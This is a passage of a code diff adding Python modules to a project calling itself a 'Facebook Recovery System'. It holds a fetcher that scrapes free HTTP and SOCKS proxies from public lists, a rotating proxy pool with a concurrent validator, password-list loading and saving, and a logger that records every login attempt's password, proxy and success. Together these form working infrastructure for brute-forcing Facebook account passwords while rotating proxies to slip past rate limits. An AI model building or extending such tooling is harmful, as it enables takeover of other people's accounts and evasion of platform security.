top_rule.pack(fill="x", side="top")
|
||||||
|
|
||||||
|
# Blinking status dot + text
|
||||||
|
dot = ctk.CTkLabel(
|
||||||
|
wrapper,
|
||||||
|
text="●",
|
||||||
|
text_color=CyberpunkTheme.PRIMARY,
|
||||||
|
font=("Consolas", 10),
|
||||||
|
)
|
||||||
|
dot.pack(side="left", padx=(8, 2))
|
||||||
|
|
||||||
|
status_label = ctk.CTkLabel(
|
||||||
|
wrapper,
|
||||||
|
text="SYSTEM READY",
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM,
|
||||||
|
font=("Consolas", 10),
|
||||||
|
)
|
||||||
|
status_label.pack(side="left")
|
||||||
|
|
||||||
|
# Animate the dot — alternate PRIMARY ↔ dim every 900ms
|
||||||
|
def _blink():
|
||||||
|
try:
|
||||||
|
current = dot.cget("text_color")
|
||||||
|
next_color = (
|
||||||
|
CyberpunkTheme.TEXT_DIM
|
||||||
|
if current == CyberpunkTheme.PRIMARY
|
||||||
|
else CyberpunkTheme.PRIMARY
|
||||||
|
)
|
||||||
|
dot.configure(text_color=next_color)
|
||||||
|
wrapper.after(900, _blink)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
wrapper.after(900, _blink)
|
||||||
|
return wrapper, status_label
|
||||||
0
src/proxy/__init__.py
Normal file
0
src/proxy/__init__.py
Normal file
137
src/proxy/fetcher.py
Normal file
137
src/proxy/fetcher.py
Normal file
@@ -0,0 +1,137 @@
|
|||||||
|
"""
|
||||||
|
Proxy fetcher — pulls free proxies from multiple reliable public sources.
|
||||||
|
No API key required. Falls back through sources until enough proxies are found.
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
import re
|
||||||
|
from typing import Any, Dict, List
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# ── Source definitions ───────────────────────────────────────────────────────
|
||||||
|
# Each entry: (label, url, format, protocol)
|
||||||
|
# format: "plain" → one ip:port per line
|
||||||
|
# "json" → JSON with a list field
|
||||||
|
_SOURCES = [
|
||||||
|
# ProxyScrape — no key, returns plain ip:port
|
||||||
|
("ProxyScrape HTTP",
|
||||||
|
"https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all",
|
||||||
|
"plain", "http"),
|
||||||
|
("ProxyScrape SOCKS4",
|
||||||
|
"https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks4&timeout=10000&country=all",
|
||||||
|
"plain", "socks4"),
|
||||||
|
("ProxyScrape SOCKS5",
|
||||||
|
"https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all",
|
||||||
|
"plain", "socks5"),
|
||||||
|
|
||||||
|
# TheSpeedX GitHub lists
|
||||||
|
("SpeedX HTTP",
|
||||||
|
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
|
||||||
|
"plain", "http"),
|
||||||
|
("SpeedX SOCKS4",
|
||||||
|
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt",
|
||||||
|
"plain", "socks4"),
|
||||||
|
("SpeedX SOCKS5",
|
||||||
|
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt",
|
||||||
|
"plain", "socks5"),
|
||||||
|
|
||||||
|
# monosans GitHub lists
|
||||||
|
("monosans HTTP",
|
||||||
|
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt",
|
||||||
|
"plain", "http"),
|
||||||
|
("monosans SOCKS4",
|
||||||
|
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks4.txt",
|
||||||
|
"plain", "socks4"),
|
||||||
|
("monosans SOCKS5",
|
||||||
|
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks5.txt",
|
||||||
|
"plain", "socks5"),
|
||||||
|
|
||||||
|
# clarketm plain list
|
||||||
|
("clarketm HTTP",
|
||||||
|
"https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt",
|
||||||
|
"plain", "http"),
|
||||||
|
|
||||||
|
# GeoNode JSON API
|
||||||
|
("GeoNode",
|
||||||
|
"https://proxylist.geonode.com/api/proxy-list?limit=500&page=1&sort_by=lastChecked&sort_type=desc"
|
||||||
|
"&protocols=http%2Chttps%2Csocks4%2Csocks5&filterUpTime=50",
|
||||||
|
"geonode_json", None),
|
||||||
|
]
|
||||||
|
|
||||||
|
_IP_PORT_RE = re.compile(r"^(\d{1,3}(?:\.\d{1,3}){3}):(\d{2,5})\s*$")
|
||||||
|
|
||||||
|
|
||||||
|
class ProxyFetcher:
|
||||||
|
"""Fetches proxy lists from multiple free public sources."""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update({
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
||||||
|
"Accept": "text/plain,application/json,*/*",
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── Public API ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def fetch_as_strings(self, count: int = 500) -> List[str]:
|
||||||
|
"""
|
||||||
|
Fetch up to `count` proxy strings (protocol://ip:port) from all sources.
|
||||||
|
Deduplicates and returns the combined list.
|
||||||
|
"""
|
||||||
|
seen: set = set()
|
||||||
|
result: List[str] = []
|
||||||
|
|
||||||
|
for label, url, fmt, protocol in _SOURCES:
|
||||||
|
if len(result) >= count:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
proxies = self._fetch_source(label, url, fmt, protocol)
|
||||||
|
added = 0
|
||||||
|
for ps in proxies:
|
||||||
|
if ps not in seen:
|
||||||
|
seen.add(ps)
|
||||||
|
result.append(ps)
|
||||||
|
added += 1
|
||||||
|
if added:
|
||||||
|
logger.info(f"[{label}] +{added} proxies ({len(result)} total)")
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning(f"[{label}] Failed: {e}")
|
||||||
|
|
||||||
|
logger.info(f"Fetched {len(result)} unique proxies from all sources")
|
||||||
|
return result[:count]
|
||||||
|
|
||||||
|
# ── Source parsers ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _fetch_source(self, label: str, url: str, fmt: str, protocol: str) -> List[str]:
|
||||||
|
resp = self.session.get(url, timeout=20)
|
||||||
|
resp.raise_for_status()
|
||||||
|
|
||||||
|
if fmt == "plain":
|
||||||
|
return self._parse_plain(resp.text, protocol)
|
||||||
|
if fmt == "geonode_json":
|
||||||
|
return self._parse_geonode(resp.json())
|
||||||
|
return []
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _parse_plain(text: str, protocol: str) -> List[str]:
|
||||||
|
result = []
|
||||||
|
for line in text.splitlines():
|
||||||
|
line = line.strip()
|
||||||
|
m = _IP_PORT_RE.match(line)
|
||||||
|
if m:
|
||||||
|
result.append(f"{protocol}://{m.group(1)}:{m.group(2)}")
|
||||||
|
return result
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _parse_geonode(data: dict) -> List[str]:
|
||||||
|
result = []
|
||||||
|
for item in data.get("data", []):
|
||||||
|
ip = item.get("ip", "")
|
||||||
|
port = item.get("port", "")
|
||||||
|
protocols = item.get("protocols", ["http"])
|
||||||
|
proto = protocols[0] if protocols else "http"
|
||||||
|
if ip and port:
|
||||||
|
result.append(f"{proto}://{ip}:{port}")
|
||||||
|
return result
|
||||||
221
src/proxy/pool.py
Normal file
221
src/proxy/pool.py
Normal file
@@ -0,0 +1,221 @@
|
|||||||
|
"""
|
||||||
|
Proxy pool manager — maintains a rotating queue of validated proxies.
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
import queue
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from typing import List, Optional, Set
|
||||||
|
from src.proxy.fetcher import ProxyFetcher
|
||||||
|
from src.proxy.validator import ProxyValidator, ProxyTestResult
|
||||||
|
from config import PROXY_REFRESH_INTERVAL
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class ProxyPool:
|
||||||
|
"""
|
||||||
|
Thread-safe proxy pool with automatic refresh.
|
||||||
|
Maintains a queue of validated proxies ready for use.
|
||||||
|
"""
|
||||||
|
min_pool_size: int = 50
|
||||||
|
max_pool_size: int = 500
|
||||||
|
refresh_interval: int = PROXY_REFRESH_INTERVAL
|
||||||
|
|
||||||
|
# Internal state
|
||||||
|
_queue: queue.Queue = field(default_factory=queue.Queue)
|
||||||
|
_all_valid: List[str] = field(default_factory=list)
|
||||||
|
_used: Set[str] = field(default_factory=set)
|
||||||
|
_queued: Set[str] = field(default_factory=set)
|
||||||
|
_lock: threading.Lock = field(default_factory=threading.Lock)
|
||||||
|
_last_refresh: float = 0
|
||||||
|
_fetcher: ProxyFetcher = field(default_factory=ProxyFetcher)
|
||||||
|
_validator: ProxyValidator = field(default_factory=ProxyValidator)
|
||||||
|
_refresh_thread: Optional[threading.Thread] = None
|
||||||
|
_running: bool = False
|
||||||
|
|
||||||
|
# Stats
|
||||||
|
total_fetched: int = 0
|
||||||
|
total_valid: int = 0
|
||||||
|
total_used: int = 0
|
||||||
|
|
||||||
|
def __post_init__(self):
|
||||||
|
self._queue = queue.Queue()
|
||||||
|
self._all_valid = []
|
||||||
|
self._used = set()
|
||||||
|
self._queued = set()
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
self.load_saved_proxies()
|
||||||
|
|
||||||
|
def load_saved_proxies(self) -> int:
|
||||||
|
"""Load previously validated proxies from disk into the active pool."""
|
||||||
|
from src.utils.file_io import load_valid_proxies
|
||||||
|
|
||||||
|
proxies = load_valid_proxies()
|
||||||
|
if not proxies:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
added = 0
|
||||||
|
with self._lock:
|
||||||
|
for proxy_str in proxies:
|
||||||
|
if proxy_str not in self._all_valid:
|
||||||
|
self._all_valid.append(proxy_str)
|
||||||
|
self._queue.put_nowait(proxy_str)
|
||||||
|
self._queued.add(proxy_str)
|
||||||
|
added += 1
|
||||||
|
self.total_valid = len(self._all_valid)
|
||||||
|
|
||||||
|
if added:
|
||||||
|
logger.info(f"Loaded {added} saved proxies into pool")
|
||||||
|
return added
|
||||||
|
|
||||||
|
def add_proxies(self, proxy_strings: List[str]) -> int:
|
||||||
|
"""Add validated proxy strings to the pool (deduplicated)."""
|
||||||
|
added = 0
|
||||||
|
with self._lock:
|
||||||
|
for proxy_str in proxy_strings:
|
||||||
|
if proxy_str and proxy_str not in self._all_valid:
|
||||||
|
self._all_valid.append(proxy_str)
|
||||||
|
self._queue.put_nowait(proxy_str)
|
||||||
|
self._queued.add(proxy_str)
|
||||||
|
added += 1
|
||||||
|
self.total_valid = len(self._all_valid)
|
||||||
|
return added
|
||||||
|
|
||||||
|
def fetch_and_validate(self, target_count: int = 500) -> int:
|
||||||
|
"""
|
||||||
|
Fetch proxies from Proxifly and validate them.
|
||||||
|
Returns the number of valid proxies found.
|
||||||
|
"""
|
||||||
|
logger.info(f"Fetching up to {target_count} proxies...")
|
||||||
|
|
||||||
|
# Fetch
|
||||||
|
proxy_strings = self._fetcher.fetch_as_strings(target_count)
|
||||||
|
self.total_fetched = len(proxy_strings)
|
||||||
|
logger.info(f"Fetched {len(proxy_strings)} proxies, now validating...")
|
||||||
|
|
||||||
|
# Validate
|
||||||
|
results = self._validator.test_batch_sync(proxy_strings, concurrency=50)
|
||||||
|
valid = [r for r in results if r.is_valid]
|
||||||
|
|
||||||
|
with self._lock:
|
||||||
|
self._all_valid = [r.proxy_string for r in valid]
|
||||||
|
self.total_valid = len(valid)
|
||||||
|
|
||||||
|
# Refill the queue
|
||||||
|
self._queue = queue.Queue()
|
||||||
|
self._queued = set()
|
||||||
|
for proxy_str in self._all_valid:
|
||||||
|
self._queue.put_nowait(proxy_str)
|
||||||
|
self._queued.add(proxy_str)
|
||||||
|
|
||||||
|
logger.info(f"Validation complete: {len(valid)}/{len(proxy_strings)} proxies valid")
|
||||||
|
return len(valid)
|
||||||
|
|
||||||
|
def get_proxy(self) -> Optional[str]:
|
||||||
|
"""
|
||||||
|
Get the next available proxy from the pool.
|
||||||
|
Returns None if pool is empty.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
proxy = self._queue.get_nowait()
|
||||||
|
with self._lock:
|
||||||
|
self._queued.discard(proxy)
|
||||||
|
self._used.add(proxy)
|
||||||
|
self.total_used += 1
|
||||||
|
|
||||||
|
# Auto-refresh if pool is running low
|
||||||
|
if self._queue.qsize() < self.min_pool_size:
|
||||||
|
self._trigger_refresh()
|
||||||
|
|
||||||
|
return proxy
|
||||||
|
|
||||||
|
except queue.Empty:
|
||||||
|
# Pool is empty, try to refresh
|
||||||
|
logger.warning("Proxy pool empty, triggering refresh...")
|
||||||
|
self._trigger_refresh()
|
||||||
|
try:
|
||||||
|
proxy = self._queue.get_nowait()
|
||||||
|
with self._lock:
|
||||||
|
self._queued.discard(proxy)
|
||||||
|
self._used.add(proxy)
|
||||||
|
self.total_used += 1
|
||||||
|
return proxy
|
||||||
|
except queue.Empty:
|
||||||
|
return None
|
||||||
|
|
||||||
|
def return_proxy(self, proxy_string: str):
|
||||||
|
"""Return a proxy to the pool (e.g., if it failed but might work later)."""
|
||||||
|
if not proxy_string:
|
||||||
|
return
|
||||||
|
with self._lock:
|
||||||
|
if proxy_string not in self._all_valid:
|
||||||
|
return
|
||||||
|
self._used.discard(proxy_string)
|
||||||
|
if proxy_string in self._queued:
|
||||||
|
return
|
||||||
|
self._queue.put_nowait(proxy_string)
|
||||||
|
self._queued.add(proxy_string)
|
||||||
|
|
||||||
|
def mark_dead(self, proxy_string: str):
|
||||||
|
"""Remove a bad proxy from future rotations."""
|
||||||
|
if not proxy_string:
|
||||||
|
return
|
||||||
|
with self._lock:
|
||||||
|
self._used.discard(proxy_string)
|
||||||
|
self._queued.discard(proxy_string)
|
||||||
|
if proxy_string in self._all_valid:
|
||||||
|
self._all_valid.remove(proxy_string)
|
||||||
|
self.total_valid = len(self._all_valid)
|
||||||
|
|
||||||
|
def _trigger_refresh(self):
|
||||||
|
"""Trigger a background refresh if enough time has passed."""
|
||||||
|
now = time.time()
|
||||||
|
if now - self._last_refresh > self.refresh_interval:
|
||||||
|
self._last_refresh = now
|
||||||
|
if not self._running:
|
||||||
|
self._running = True
|
||||||
|
self._refresh_thread = threading.Thread(target=self._refresh_worker, daemon=True)
|
||||||
|
self._refresh_thread.start()
|
||||||
|
|
||||||
|
def _refresh_worker(self):
|
||||||
|
"""Background worker to refresh the proxy pool."""
|
||||||
|
try:
|
||||||
|
logger.info("Background proxy refresh started...")
|
||||||
|
new_proxies = self._fetcher.fetch_as_strings(300)
|
||||||
|
results = self._validator.test_batch_sync(new_proxies, concurrency=50)
|
||||||
|
valid = [r.proxy_string for r in results if r.is_valid]
|
||||||
|
|
||||||
|
with self._lock:
|
||||||
|
# Add new valid proxies to the pool
|
||||||
|
for p in valid:
|
||||||
|
if p not in self._used and p not in self._all_valid:
|
||||||
|
self._queue.put_nowait(p)
|
||||||
|
self._queued.add(p)
|
||||||
|
self._all_valid.append(p)
|
||||||
|
self.total_valid = len(self._all_valid)
|
||||||
|
|
||||||
|
logger.info(f"Background refresh added {len(valid)} proxies")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Background refresh failed: {e}")
|
||||||
|
finally:
|
||||||
|
self._running = False
|
||||||
|
|
||||||
|
@property
|
||||||
|
def available_count(self) -> int:
|
||||||
|
"""Number of proxies currently available in the queue."""
|
||||||
|
return self._queue.qsize()
|
||||||
|
|
||||||
|
@property
|
||||||
|
def stats(self) -> dict:
|
||||||
|
"""Get pool statistics."""
|
||||||
|
with self._lock:
|
||||||
|
return {
|
||||||
|
"available": self._queue.qsize(),
|
||||||
|
"total_valid": self.total_valid,
|
||||||
|
"total_fetched": self.total_fetched,
|
||||||
|
"total_used": self.total_used,
|
||||||
|
"all_valid_count": len(self._all_valid),
|
||||||
|
}
|
||||||
135
src/proxy/validator.py
Normal file
135
src/proxy/validator.py
Normal file
@@ -0,0 +1,135 @@
|
|||||||
|
"""
|
||||||
|
Proxy validator — tests proxies for connectivity, speed, and anonymity.
|
||||||
|
"""
|
||||||
|
import asyncio
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from typing import List, Optional, Tuple
|
||||||
|
import aiohttp
|
||||||
|
from aiohttp_socks import ProxyConnector
|
||||||
|
from config import PROXY_TEST_URL, PROXY_TEST_TIMEOUT
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class ProxyTestResult:
|
||||||
|
"""Result of a proxy test."""
|
||||||
|
proxy_string: str
|
||||||
|
ip: str
|
||||||
|
port: int
|
||||||
|
protocol: str
|
||||||
|
is_valid: bool
|
||||||
|
response_time_ms: float
|
||||||
|
error: Optional[str] = None
|
||||||
|
|
||||||
|
|
||||||
|
class ProxyValidator:
|
||||||
|
"""Validates proxies by testing connectivity and measuring speed."""
|
||||||
|
|
||||||
|
def __init__(self, test_url: str = PROXY_TEST_URL, timeout: int = PROXY_TEST_TIMEOUT):
|
||||||
|
self.test_url = test_url
|
||||||
|
self.timeout = timeout
|
||||||
|
|
||||||
|
async def test_single_proxy(self, proxy_string: str) -> ProxyTestResult:
|
||||||
|
"""
|
||||||
|
Test a single proxy by making a request through it.
|
||||||
|
proxy_string format: "protocol://ip:port"
|
||||||
|
"""
|
||||||
|
# Parse proxy string
|
||||||
|
try:
|
||||||
|
protocol, rest = proxy_string.split("://", 1)
|
||||||
|
ip, port_str = rest.rsplit(":", 1)
|
||||||
|
port = int(port_str)
|
||||||
|
except (ValueError, AttributeError):
|
||||||
|
return ProxyTestResult(
|
||||||
|
proxy_string=proxy_string, ip="", port=0,
|
||||||
|
protocol="", is_valid=False,
|
||||||
|
response_time_ms=0, error="Invalid format"
|
||||||
|
)
|
||||||
|
|
||||||
|
start_time = time.time()
|
||||||
|
try:
|
||||||
|
# Create proxy connector
|
||||||
|
connector = ProxyConnector.from_url(proxy_string)
|
||||||
|
|
||||||
|
async with aiohttp.ClientSession(connector=connector) as session:
|
||||||
|
async with session.get(
|
||||||
|
self.test_url,
|
||||||
|
timeout=aiohttp.ClientTimeout(total=self.timeout),
|
||||||
|
headers={"User-Agent": "Mozilla/5.0"},
|
||||||
|
) as resp:
|
||||||
|
elapsed = (time.time() - start_time) * 1000
|
||||||
|
|
||||||
|
if resp.status == 200:
|
||||||
|
return ProxyTestResult(
|
||||||
|
proxy_string=proxy_string,
|
||||||
|
ip=ip, port=port, protocol=protocol,
|
||||||
|
is_valid=True,
|
||||||
|
response_time_ms=round(elapsed, 1),
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
return ProxyTestResult(
|
||||||
|
proxy_string=proxy_string,
|
||||||
|
ip=ip, port=port, protocol=protocol,
|
||||||
|
is_valid=False,
|
||||||
|
response_time_ms=round(elapsed, 1),
|
||||||
|
error=f"HTTP {resp.status}",
|
||||||
|
)
|
||||||
|
|
||||||
|
except asyncio.TimeoutError:
|
||||||
|
elapsed = (time.time() - start_time) * 1000
|
||||||
|
return ProxyTestResult(
|
||||||
|
proxy_string=proxy_string,
|
||||||
|
ip=ip, port=port, protocol=protocol,
|
||||||
|
is_valid=False,
|
||||||
|
response_time_ms=round(elapsed, 1),
|
||||||
|
error="Timeout",
|
||||||
|
)
|
||||||
|
except Exception as e:
|
||||||
|
elapsed = (time.time() - start_time) * 1000
|
||||||
|
return ProxyTestResult(
|
||||||
|
proxy_string=proxy_string,
|
||||||
|
ip=ip, port=port, protocol=protocol,
|
||||||
|
is_valid=False,
|
||||||
|
response_time_ms=round(elapsed, 1),
|
||||||
|
error=str(e)[:100],
|
||||||
|
)
|
||||||
|
|
||||||
|
async def test_batch(self, proxy_strings: List[str], concurrency: int = 50) -> List[ProxyTestResult]:
|
||||||
|
"""
|
||||||
|
Test multiple proxies concurrently.
|
||||||
|
Returns results sorted by speed (fastest first).
|
||||||
|
"""
|
||||||
|
semaphore = asyncio.Semaphore(concurrency)
|
||||||
|
|
||||||
|
async def test_with_semaphore(proxy_str: str) -> ProxyTestResult:
|
||||||
|
async with semaphore:
|
||||||
|
return await self.test_single_proxy(proxy_str)
|
||||||
|
|
||||||
|
tasks = [test_with_semaphore(ps) for ps in proxy_strings]
|
||||||
|
results = await asyncio.gather(*tasks)
|
||||||
|
|
||||||
|
# Sort: valid proxies first (by speed), then invalid
|
||||||
|
valid = [r for r in results if r.is_valid]
|
||||||
|
invalid = [r for r in results if not r.is_valid]
|
||||||
|
valid.sort(key=lambda r: r.response_time_ms)
|
||||||
|
|
||||||
|
return valid + invalid
|
||||||
|
|
||||||
|
def test_batch_sync(self, proxy_strings: List[str], concurrency: int = 50) -> List[ProxyTestResult]:
|
||||||
|
"""Synchronous wrapper for batch testing."""
|
||||||
|
return asyncio.run(self.test_batch(proxy_strings, concurrency))
|
||||||
|
|
||||||
|
def get_valid_proxy_strings(self, proxy_strings: List[str], concurrency: int = 50) -> List[str]:
|
||||||
|
"""Test proxies and return only valid ones as strings."""
|
||||||
|
results = self.test_batch_sync(proxy_strings, concurrency)
|
||||||
|
return [r.proxy_string for r in results if r.is_valid]
|
||||||
|
|
||||||
|
def get_fastest_proxies(self, proxy_strings: List[str], count: int = 100, concurrency: int = 50) -> List[str]:
|
||||||
|
"""Get the fastest N valid proxies."""
|
||||||
|
results = self.test_batch_sync(proxy_strings, concurrency)
|
||||||
|
valid = [r for r in results if r.is_valid]
|
||||||
|
valid.sort(key=lambda r: r.response_time_ms)
|
||||||
|
return [r.proxy_string for r in valid[:count]]
|
||||||
0
src/utils/__init__.py
Normal file
0
src/utils/__init__.py
Normal file
59
src/utils/file_io.py
Normal file
59
src/utils/file_io.py
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
"""
|
||||||
|
File I/O utilities for reading/writing password lists and proxy lists.
|
||||||
|
"""
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import List, Optional
|
||||||
|
from config import PASSWORDS_FILE, PROXIES_FILE, VALID_PROXIES_FILE
|
||||||
|
|
||||||
|
|
||||||
|
def save_passwords(passwords: List[str], filepath: Optional[Path] = None, append: bool = True):
|
||||||
|
"""Save password list to file. Appends by default."""
|
||||||
|
path = filepath or PASSWORDS_FILE
|
||||||
|
mode = "a" if append else "w"
|
||||||
|
with open(path, mode, encoding="utf-8") as f:
|
||||||
|
for pwd in passwords:
|
||||||
|
f.write(pwd + "\n")
|
||||||
|
|
||||||
|
|
||||||
|
def load_passwords(filepath: Optional[Path] = None) -> List[str]:
|
||||||
|
"""Load passwords from file, stripping whitespace and removing empties."""
|
||||||
|
path = filepath or PASSWORDS_FILE
|
||||||
|
if not path.exists():
|
||||||
|
return []
|
||||||
|
with open(path, "r", encoding="utf-8") as f:
|
||||||
|
return [line.strip() for line in f if line.strip()]
|
||||||
|
|
||||||
|
|
||||||
|
def save_proxies(proxies: List[str], filepath: Optional[Path] = None):
|
||||||
|
"""Save proxy list to file."""
|
||||||
|
path = filepath or PROXIES_FILE
|
||||||
|
with open(path, "w", encoding="utf-8") as f:
|
||||||
|
for proxy in proxies:
|
||||||
|
f.write(proxy + "\n")
|
||||||
|
|
||||||
|
|
||||||
|
def load_proxies(filepath: Optional[Path] = None) -> List[str]:
|
||||||
|
"""Load proxies from file."""
|
||||||
|
path = filepath or PROXIES_FILE
|
||||||
|
if not path.exists():
|
||||||
|
return []
|
||||||
|
with open(path, "r", encoding="utf-8") as f:
|
||||||
|
return [line.strip() for line in f if line.strip()]
|
||||||
|
|
||||||
|
|
||||||
|
def save_valid_proxies(proxies: List[str]):
|
||||||
|
"""Save validated proxies to their dedicated file."""
|
||||||
|
save_proxies(proxies, VALID_PROXIES_FILE)
|
||||||
|
|
||||||
|
|
||||||
|
def load_valid_proxies() -> List[str]:
|
||||||
|
"""Load validated proxies."""
|
||||||
|
return load_proxies(VALID_PROXIES_FILE)
|
||||||
|
|
||||||
|
|
||||||
|
def count_lines(filepath: Path) -> int:
|
||||||
|
"""Count non-empty lines in a file."""
|
||||||
|
if not filepath.exists():
|
||||||
|
return 0
|
||||||
|
with open(filepath, "r", encoding="utf-8") as f:
|
||||||
|
return sum(1 for line in f if line.strip())
|
||||||
116
src/utils/logger.py
Normal file
116
src/utils/logger.py
Normal file
@@ -0,0 +1,116 @@
|
|||||||
|
"""
|
||||||
|
Structured logging for the Facebook Recovery System.
|
||||||
|
Provides both file logging and in-memory log capture for the GUI.
|
||||||
|
"""
|
||||||
|
import csv
|
||||||
|
import logging
|
||||||
|
import threading
|
||||||
|
from datetime import datetime
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
from config import ATTEMPT_LOG_FILE
|
||||||
|
|
||||||
|
|
||||||
|
class AttemptLogger:
|
||||||
|
"""Logs each login attempt to CSV and maintains an in-memory buffer for the GUI."""
|
||||||
|
|
||||||
|
def __init__(self, log_path: Optional[Path] = None):
|
||||||
|
self.log_path = log_path or ATTEMPT_LOG_FILE
|
||||||
|
self.buffer = [] # In-memory list of log entries for GUI display
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
self._init_csv()
|
||||||
|
|
||||||
|
def _init_csv(self):
|
||||||
|
"""Create CSV with headers if it doesn't exist."""
|
||||||
|
if not self.log_path.exists():
|
||||||
|
self.log_path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
with open(self.log_path, "w", newline="") as f:
|
||||||
|
writer = csv.writer(f)
|
||||||
|
writer.writerow([
|
||||||
|
"timestamp", "password", "proxy_ip", "proxy_port",
|
||||||
|
"proxy_protocol", "status_code", "result", "response_time_ms",
|
||||||
|
"message",
|
||||||
|
])
|
||||||
|
|
||||||
|
def log_attempt(
|
||||||
|
self,
|
||||||
|
password: str,
|
||||||
|
proxy_ip: str,
|
||||||
|
proxy_port: int,
|
||||||
|
proxy_protocol: str,
|
||||||
|
status_code: int,
|
||||||
|
result: str,
|
||||||
|
response_time_ms: float,
|
||||||
|
message: str = "",
|
||||||
|
):
|
||||||
|
"""Log a single attempt."""
|
||||||
|
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]
|
||||||
|
entry = {
|
||||||
|
"timestamp": timestamp,
|
||||||
|
"password": password,
|
||||||
|
"proxy_ip": proxy_ip,
|
||||||
|
"proxy_port": proxy_port,
|
||||||
|
"proxy_protocol": proxy_protocol,
|
||||||
|
"status_code": status_code,
|
||||||
|
"result": result,
|
||||||
|
"response_time_ms": f"{response_time_ms:.1f}",
|
||||||
|
"message": message,
|
||||||
|
}
|
||||||
|
with self._lock:
|
||||||
|
# Write to CSV
|
||||||
|
with open(self.log_path, "a", newline="") as f:
|
||||||
|
writer = csv.DictWriter(f, fieldnames=entry.keys())
|
||||||
|
writer.writerow(entry)
|
||||||
|
|
||||||
|
# Keep in memory buffer (limit to last 10000 for performance)
|
||||||
|
self.buffer.append(entry)
|
||||||
|
if len(self.buffer) > 10000:
|
||||||
|
self.buffer = self.buffer[-5000:]
|
||||||
|
|
||||||
|
def get_recent(self, count: int = 100) -> list:
|
||||||
|
"""Get the most recent log entries."""
|
||||||
|
with self._lock:
|
||||||
|
return self.buffer[-count:]
|
||||||
|
|
||||||
|
def get_stats(self) -> dict:
|
||||||
|
"""Get aggregate statistics from the log."""
|
||||||
|
with self._lock:
|
||||||
|
total = len(self.buffer)
|
||||||
|
successes = sum(1 for e in self.buffer if e["result"] == "SUCCESS")
|
||||||
|
failures = total - successes
|
||||||
|
return {
|
||||||
|
"total": total,
|
||||||
|
"successes": successes,
|
||||||
|
"failures": failures,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class FileLogger:
|
||||||
|
"""General purpose file logger for system events."""
|
||||||
|
|
||||||
|
def __init__(self, name: str = "facebook_recovery"):
|
||||||
|
self.logger = logging.getLogger(name)
|
||||||
|
self.logger.setLevel(logging.DEBUG)
|
||||||
|
|
||||||
|
# Guard against adding duplicate handlers when re-instantiated
|
||||||
|
if not self.logger.handlers:
|
||||||
|
ch = logging.StreamHandler()
|
||||||
|
ch.setLevel(logging.INFO)
|
||||||
|
formatter = logging.Formatter(
|
||||||
|
"[%(asctime)s] %(levelname)s: %(message)s",
|
||||||
|
datefmt="%H:%M:%S"
|
||||||
|
)
|
||||||
|
ch.setFormatter(formatter)
|
||||||
|
self.logger.addHandler(ch)
|
||||||
|
|
||||||
|
def info(self, msg: str):
|
||||||
|
self.logger.info(msg)
|
||||||
|
|
||||||
|
def debug(self, msg: str):
|
||||||
|
self.logger.debug(msg)
|
||||||
|
|
||||||
|
def warning(self, msg: str):
|
||||||
|
self.logger.warning(msg)
|
||||||
|
|
||||||
|
def error(self, msg: str):
|
||||||
|
self.logger.error(msg)
|
||||||
Reference in New Issue
Block a user